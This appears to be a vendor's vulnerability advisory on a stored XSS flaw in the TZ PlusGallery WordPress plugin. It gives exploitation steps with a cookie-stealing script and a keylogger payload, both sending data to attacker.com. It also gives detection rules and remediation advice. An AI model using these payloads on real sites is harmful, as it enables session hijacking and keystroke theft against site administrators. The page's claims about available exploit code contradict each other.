CVE-2025-57974
Executive Summary
CVE-2025-57974 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the TZ PlusGallery WordPress plugin (slug: tz-plus-gallery) by vendor Tuyennv. The vulnerability affects all versions up to and including 1.5.5. An authenticated attacker with at least Contributor-level privileges can inject malicious JavaScript payloads into the plugin's gallery creation or editing functionality. When an administrator or other user views the compromised gallery page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape data before storing it in the database and later rendering it in the browser. Given the lack of a vendor patch and no known public exploit code, this represents a moderate but persistent risk for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed through the official WordPress Plugin Directory. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems. The risk is primarily to WordPress site administrators who have installed the plugin directly from the WordPress repository or via third-party sources. No known supply chain compromise has been reported, but the unpatched status means any site using this plugin is vulnerable.
CVSS Breakdown & Threat Level
CVSS Score: 5.9 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions required.
- Privileges Required (PR): High – An attacker must have at least Contributor-level access to the WordPress site.
- User Interaction (UI): Required – The victim (e.g., an administrator) must visit the compromised page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited ability to disrupt service.
Threat Level: Moderate. While the CVSS score is medium, the requirement for authenticated access reduces the immediate external threat. However, once an attacker gains low-level access, the stored XSS can be used to escalate privileges or pivot to other users.
Deep Dive & Mechanics
The vulnerability exists in the gallery creation and editing functionality of the TZ PlusGallery plugin. The plugin likely uses a custom post type or shortcode to render galleries. User-supplied fields such as gallery titles, descriptions, or image captions are not properly sanitized before being stored in the WordPress database.
When the gallery is rendered on the frontend or backend, the unsanitized data is output directly into the HTML without escaping. This allows an attacker to inject arbitrary HTML and JavaScript. For example, an attacker could inject a payload like:
<script>alert('XSS')</script>
into a gallery title field. When an administrator views the gallery list or the gallery page, the script executes.
The lack of output escaping (e.g., using esc_html() or wp_kses_post()) is the root cause. The plugin likely uses echo $title; instead of echo esc_html($title);.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common WordPress plugin patterns.
Vulnerable Code (in a template file like gallery-display.php):
<div class="tz-gallery-title">
<?php echo $gallery_title; ?>
</div>
Patched Code (using WordPress escaping functions):
<div class="tz-gallery-title">
<?php echo esc_html( $gallery_title ); ?>
</div>
The vulnerable code directly outputs the $gallery_title variable without any sanitization or escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker) Perspective
Prerequisites:
- A WordPress site with TZ PlusGallery plugin version <= 1.5.5 installed and activated.
- An authenticated user account with at least Contributor role.
Exploitation Steps:
- Log in to the WordPress admin panel with the Contributor account.
- Navigate to the TZ PlusGallery plugin's gallery creation page (e.g.,
/wp-admin/admin.php?page=tz-plus-gallery-add). - In the gallery title field, inject a malicious payload. For example:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the gallery.
- Craft a social engineering message to lure an administrator to view the gallery page (e.g., "Please review my new gallery").
- When the administrator views the gallery, the script executes, sending their session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/log.php');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
}
</script>
Blue Team (Defender) Perspective
Detection Steps:
- Monitor User Activity: Look for unusual gallery creation or editing by low-privileged users.
- Review Database Entries: Check the
wp_postmetaor custom plugin tables for suspicious HTML/JavaScript in gallery fields. - Inspect HTTP Requests: Look for POST requests to gallery endpoints containing
<script>tags. - Use Web Application Firewall (WAF): Deploy rules to block common XSS patterns in gallery-related parameters.
Hunting Query (SQL):
SELECT * FROM wp_postmeta WHERE meta_key LIKE '%gallery%' AND meta_value LIKE '%<script%';
Indicators of Compromise (IOCs)
- File System: Modified plugin files (though unlikely if the vulnerability is in the database).
- Database: Entries in
wp_postmetaor custom plugin tables containing<script>tags or encoded JavaScript. - Network: Outbound HTTP requests to unknown domains originating from the WordPress server, especially from admin pages.
- Logs: Access logs showing requests to gallery pages with unusual query parameters or POST data containing JavaScript.
Example IOC (Database Entry):
meta_key: tz_gallery_title
meta_value: <script>alert('XSS')</script>
Detection Engineering
YARA Rule
rule detect_tz_plusgallery_stored_xss {
meta:
description = "Detects stored XSS payloads in TZ PlusGallery plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57974"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$plugin_slug = "tz-plus-gallery"
condition:
$plugin_slug and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in TZ PlusGallery Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attacks against TZ PlusGallery plugin
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-57974
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'tz-plus-gallery'
cs-uri-query|contains|all:
- 'action=save'
- 'gallery_title'
condition: selection
falsepositives:
- Legitimate gallery creation with non-malicious titles
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57974 TZ PlusGallery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"tz-plus-gallery"; http_uri; content:"gallery_title"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: If the plugin is not critical, deactivate and delete it immediately.
- Restrict User Roles: Limit the ability to create or edit galleries to only trusted administrators.
- Web Application Firewall (WAF): Deploy WAF rules to block
<script>tags in gallery-related POST parameters. - Database Scan: Search the database for existing XSS payloads and remove them.
Long-Term Fix:
- Vendor Patch: Await an official patch from the plugin author. If none is forthcoming, consider forking the plugin and applying the fix yourself (see patched code example above).
- Alternative Plugin: Migrate to a more actively maintained gallery plugin that follows secure coding practices.
Workaround (Code-Level):
If you have access to the plugin files, locate the output statements and wrap them with esc_html() or wp_kses_post() as appropriate.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.